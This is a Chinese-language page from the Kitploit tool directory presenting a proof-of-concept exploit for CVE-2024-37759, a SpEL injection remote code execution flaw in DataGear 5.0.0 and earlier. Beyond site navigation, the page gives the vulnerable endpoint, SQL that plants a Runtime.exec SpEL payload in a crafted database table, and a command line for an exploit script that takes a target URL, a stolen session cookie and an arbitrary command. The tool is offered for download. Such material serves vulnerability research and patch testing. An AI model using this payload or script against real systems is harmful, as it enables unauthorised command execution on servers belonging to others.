Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-37759_PoC — CVE-2024-37759 的概念验证利用,这是 DataGear 5.0.0 及更早版本中的一个 SpEL 注入漏洞,可通过精心构造的数据库表实现远程代码执行。 | Kitploit
工具/GitHubGitHub/crumbledwall/cve-2024-37759_poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubcrumbledwall/cve-2024-37759_poc

CVE-2024-37759_PoC

CVE-2024-37759 的概念验证利用,这是 DataGear 5.0.0 及更早版本中的一个 SpEL 注入漏洞,可通过精心构造的数据库表实现远程代码执行。

查看仓库
542年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-37759 概念验证

描述

DataGear 5.0.0 及更早版本存在 SpEL 表达式注入漏洞,可导致远程代码执行。

漏洞利用

CVE漏洞利用详情

当你请求 /data/{schemaId}/{tableName}/view 接口时,如果数据库表没有主键,攻击者可以在 data 字段中注入恶意的 SpEL 表达式。当点击“查看”按钮时,SpEL 表达式将会被执行。

要执行攻击,你可以创建一个恶意的数据库表,如下所示:

root@kitploit:~
CREATE DATABASE evil;

CREATE TABLE `evil` (
  `name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");

然后,登录并在模式添加接口 /schema/saveAdd 中添加这个 MySQL 数据库。随后点击“查看”按钮,SpEL 表达式将被执行。

利用脚本用法

此利用脚本修改自 MySQL_Fake_Server。首先,登录门户并获取 cookie "JSESSIONID"。然后你可以使用此利用脚本自动执行命令。

-t 参数指定目标易受攻击的站点,-o 指定 MySQL 假服务器可访问的公网 IP 地址,-p 是假服务器端口,-s 是 "JSESSIONID" 的 cookie 值,-c 指定要执行的命令。

root@kitploit:~
python3.7 exp.py -t "http://localhost:50401" -o "192.168.25.130" -p "3306" -s "B751A41FBE8C3385B386B2365C2FB86D" -c "calc"
下载工具